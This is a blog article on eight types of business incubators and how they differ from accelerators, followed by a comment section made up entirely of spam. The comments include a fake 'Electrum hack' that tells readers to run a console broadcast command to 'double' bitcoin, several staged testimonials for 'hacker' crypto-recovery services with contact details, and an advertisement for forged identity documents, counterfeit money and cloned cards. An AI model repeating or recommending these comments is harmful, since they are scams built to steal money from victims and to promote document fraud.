Incubators and Accelerators

8 Types of Business Incubators Every Entrepreneur Should Know

Roshni Khatri

27th Apr'22
8 Types of Business Incubators Every Entrepreneur Should Know | OpenGrowth

Startups and entrepreneurship is the most significant aspect for economic and national development. In the past decades, several startups have applied to the incubators or mentorships to accelerate the business growth. Every entrepreneur has the dream to start the entrepreneurial journey and lead it towards success. Startup and business incubators play a significant role in nurturing business ideas. The prominent task of these incubators is to provide all the facilities and sources to the start-ups. Creating a successful start-up is not an easy task, as you have to face several challenges and hurdles. So there are major benefits of startup incubators, as they accelerate the growth of your business plan and give the wings to your dreams.

Let’s discuss it more briefly!

 

What are the Start-up Incubators?

A Start-up incubator is an entity that provides all the essential and fundamental equipment and resources to the entrepreneurs. These assist about:

  • Seed Funding

  • Work Space

  • Mentorship

  • Network for a successful start-up

Thus these incubators help the new ventures in tackling the initial hitches. The incubators not only provide support in the technology or establishing the business rather guides in testing the products and getting the feedback from the industry. 

Now you might have got an idea that the incubators provide all the fundamental and infrastructural support to your business idea and help you in executing that.

Meaning of start up incubator

Accelerators vs. Incubators

The prime difference between the incubators and accelerators is that accelerators receive financial support from an existing company. On the other hand, incubators work independently and have connections with venture capitalists, angel investors, government authorities and universities. You can also have a look at incubators vs accelerators for a better understanding of the subject. However, to make the difference easier, some most important factors are as under:

  • Duration: Incubators work as an open-ended timeline and accelerators operate within the set time frame of 3 to 4 months.  
  • Purpose: Incubators support the entrepreneurs in starting the business, on the other hand, accelerators assist the existing business in growth and development.
  • Environment: Well, incubators and accelerators both work to provide a collaborative and supportive environment. This is the area where both are like each other.
  • Application Process: Incubators invest and support the local start-ups and accelerators using the traditional model for entry into their program. 
  • Capital: Accelerators provide a specific amount of capital or funding to the existing businesses, and incubators provide the funding to the start-ups, that is derived through governmental bodies and universities. 

Thus it can be said that the accelerators are those greenhouses that provide the growth to the new and small plants and incubators are the seeds to fertilize the plant with the right soil.

 

Types of Incubators

Several business incubators are related to the specific industry, and business model to help them in earning their name. Here some major types of incubators are defined:

1. Social Incubators

These incubators transform the lives of the people by providing innovative approaches to solve social changes. This is the combination of passion for social mission and entrepreneurial discipline. Many initiatives are there that flourish, develop and encourage social entrepreneurship. You don’t need to get enrolled with any specific category like charity or social enterprise. All you need is a perfect business idea with the motive to provide a positive environmental or social impact. 

 

2. Academic and Scientific Incubators

These incubators are familiar with many universities in the United States, and also offer business incubator facilities. They target the students of the universities, so all you have to do is that you have to be a student at the institution. These academic incubators provide scientific and technical assistance to test different concepts of start-up ideas.  

3. Virtual Business Incubators

These are the most common incubators and provide the capital and professional advice to execute their business concept in reality. These incubators require you to set up a physical shop at the incubator’s location (website). With this, the virtual incubators allow the business to have the advice and resource support that is offered to them. But they have to maintain the warehouses and offices away from the site of the incubator.

 

4. Corporate Incubators

Corporate incubators are good at offering financial resources and conducting some things such as prototype and market testing. The companies which get enrolled under this scheme can enjoy great access to commercial markets. There can be some conflicts of interest with the start-up companies. With this corporate incubators have many resources and the ability to mobilize these also.

5. Medical Incubator

As far as medical incubators are concerned, they have to face many challenges and hurdles in the terms of validation and realizing effective product development. Additionally, they have to face financial hurdles also. So the incubation centers which are specialized in health care can take assistance from these incubators to boost the growth of their start-ups. As they play a great role in grooming the economy. Moreover the medical incubators, accelerators and health care start-ups driving a high level of innovation in this industry.

 

6. Seed Accelerator

This model is very common in the incubator industry. These are the combo of a high-quality filter and a broad portfolio approach. The high-quality filter focuses on attracting bright talent and under the broad portfolio approach, the incubator accepts several companies to support them in the huge success. 

7. Kitchen Incubators

The food industry is growing rapidly. This has increased the demand for kitchen space by taking assistance from the incubators of the kitchen concept. These incubators provide small food start-ups techniques while entering the local market. They follow some provisions like sufficient capital to resolve the financial barriers of high cost, as the purchasing or leasing of the kitchen space is very expensive. With this, they provide assistance related to accounting, marketing, financing and insurance. 

Kitchen Incubators

8. Local Economic Development Incubators

These incubators work for large businesses and provide versatile services from hosting to administrative tasks. They provide the coaching and consulting options by assisting the start-ups in gaining the financing help. They do not provide direct financing. Rather help the ventures in getting access to the external sources of financing. These incubators are small and can face the issues of stability of available resources. 

Thus the incubation centers are a boon for many start-ups as these provide every assistance to the business. This helps the ventures in growing and establishing the entities in the market. 

 

Conclusion

Most start-ups face hurdles and challenges at the initial stage. Therefore the incubators have been established to assist the entrepreneurs in executing their business idea into reality. These centers provide all the fundamental information and resources to the ventures. So you do not have to move from one place to another to get business assistance, as these incubation centers provide all kinds of assistance under one roof. 

Start your business with these incubation centers and enlighten your entrepreneurial dream with success. 
 

 We at OpenGrowth, are committed to keeping you updated with the best content on the latest trendy topics from any major field. Also, both your feedback and suggestions are valuable to us. Do share them in the comment section below.

A keen observer, who loves to spend time with nature. A fun loving person, enjoys to explore the new aspects of life. Passionate about reading and learning new things. Roshni is dedicated towards her work and has worked in different professions.

Comments

Blank User| OpenGrowth

garciacody774@gmail.com

14th Apr'24 11:52:35 PM

We are highly experienced professional private investigators TOMCYBERGHOST@GMAIL.COM that cover every town and city through the United Kingdom, we have been investigating both corporate and individual

Blank User| OpenGrowth

ericaz@gmail.com

12th Apr'24 10:20:35 AM

!! NEW ELECTRUM HACK !! How to double bitcoins in electrum wallet works in 2024 Step1 - Click in View Tab Show Console Step2 - Open console tab and put this command: broadcast(

Blank User| OpenGrowth

ericaz@gmail.com

12th Apr'24 10:19:13 AM

!! NEW ELECTRUM HACK !! How to double bitcoins in electrum wallet works in 2024 The idea of instantly doubling bitcoin without any additional payments is a unique and attractive offer for cryptocurrency users. With the Electrum wallet, users can easily and safely increase their bitcoin reserves without worrying about high fees that can affect their profits. This revolutionary feature not only saves users money, but also provides them with a quick and effective way to increase their Bitcoin reserves. By taking advantage of this opportunity, users can effectively increase their investments. Step1 - Click in View Tab Show Console Step2 - Open console tab and put this command: broadcast(

Blank User| OpenGrowth

vibernito@gmail.com

6th Mar'24 05:33:17 PM

Government Database System..Email ( lifiben@gmail.com ) We Produce Passports,Drivers Licenses,ID Cards,Birth Certificates,Diplomas,Visas,SSN,Marriage Certificates,Divorce Papers,US Green Cards,University Degrees,Counterfeit Money,SSD Chemical Solution And Activation Banknotes dollar / euro Pounds Powder Used For Cleaning Coated Black Money, And Other Documents Cloned cards, Resident fullz and dumps For A Number Of Countries Email ( lifiben@gmail.com ) TEXT/CALL/WHATSAPP: 951-254-2452 https://clean-documents.com

Blank User| OpenGrowth

donaldsteve26@gmail.com

23rd Dec'23 12:06:17 PM

HOW YOU CAN RECOVER YOUR STOLEN FUNDS NOW I was scammed over ( $275,000 ) by someone I met online on a fake investment project. I started searching for help legally to recover my money, and I came across a lot of Testimonies about HACKER STEVE. I contacted him, providing the necessary information and it took him and his team of experts about 36 hours to locate and help recover my stolen funds. I am so relieved and the best part was, the scammer was located and arrested by local authorities in his region. I hope this helps as many out there who are victims. I strongly recommend Steve professional services for assistance with swift and efficient recovery. You can reach him for any form of recovery (Crypto, Credit card, Gift card, Forex, NFT, etc) on Gmail: Hackersteve911@gmail.com

Blank User| OpenGrowth

clarkshcim21@gmail.com

18th Dec'23 11:46:17 PM

CRYPTOCURRENCY RECOVERY, LOST BTC RECOVERED; What To Do When You Fall Victim To A Crypto Scam? There’s a saying that one can only learn from their own mistakes and I can say I did exactly that after loosing a fortune to a broker that contacted me through LinkedIn and proposed a business idea of investing in crypto and getting a fixed returns within a week of trading with my funds , I believed him and trusted him with the funds thinking I was going to get my profits by the end of the week but as the week goes by I messaged my account manager to know how the trade has been going and he assured me everything was in order but when it got to the withdrawal stage the company came up with these fees I had to pay for me to be able to withdraw which I declined and then tried figuring how to get my initial deposit “£109k” out of the website and with the help of HACKER RODNEY CRPTO TRACES AND RECOVERY every last dime was successfully recovered and after the recovery, The website was shut down with the hackers help as well , so that someone else won’t fall for their petty tricks . Thanks to HACKER RODNEY CRPTO TRACES AND RECOVERY, and Rodney was the very hacker that was in charge of the recovery process and we texted mostly on Email and WhatsApp Email: hackerrodney72@proton.me WhatsApp +44 (7446) 46-3457

Blank User| OpenGrowth

nicholascarlos@gmail.com

18th Dec'23 11:45:29 PM

At first you fill your account with money, and then you think that you control it, until will be locked in a situation which will suck all your money until you have nothing more left! The funny thing is that even the prices you see on the platform are manipulated in order to make you think that its a glitch of misfortune.. I was a victim of over 2 BTC months ago. Thank God I met "HACKER RODNEY CRPTO TRACES AND RECOVERY" on his telegram handle before sending him a mail hackerrodney72 @ proton.me. They helped me to recover my funds. They indeed have experts and they are trustworthy. My lost bitcoin was returned to my wallet in bitcoin fraction with the value in dollars at that moment, hahahaha, i even made more profit.. CONTACT: Email: hackerrodney72@proton.me

Blank User| OpenGrowth

davidcorey32@gmail.com

18th Dec'23 11:44:05 PM

What are the legal actions I can take against the scammer? a group of scammers succeeded in scamming our FALUN GONG community here in Auckland NEW ZEALAND, we bought property worth's million dollar plus just to realize this are scammers acting as real estate agents , to make the situation worst we paid in crypto currency (Bitcoin). when we thought all hope is lost that's when one of our Chinese faithful recommend HACKER RODNEY CRPTO TRACES AND RECOVERY and we made the contact , provided all the required information's needed , within the next 24 hours we got back our money and also got the identities and locations of the scammers but we decided to forgive as HACKER RODNEY CRPTO TRACES AND RECOVERY have helped us recover all our lost money completely. therefore i feel very over confidence to share there contacts details for anyone who have been a victim of scam here in NEW ZEALAND or anywhere on earth to contact .., Contact Email: hackerrodney72@proton.me WhatsApp contact :+44 (7446) 46-3457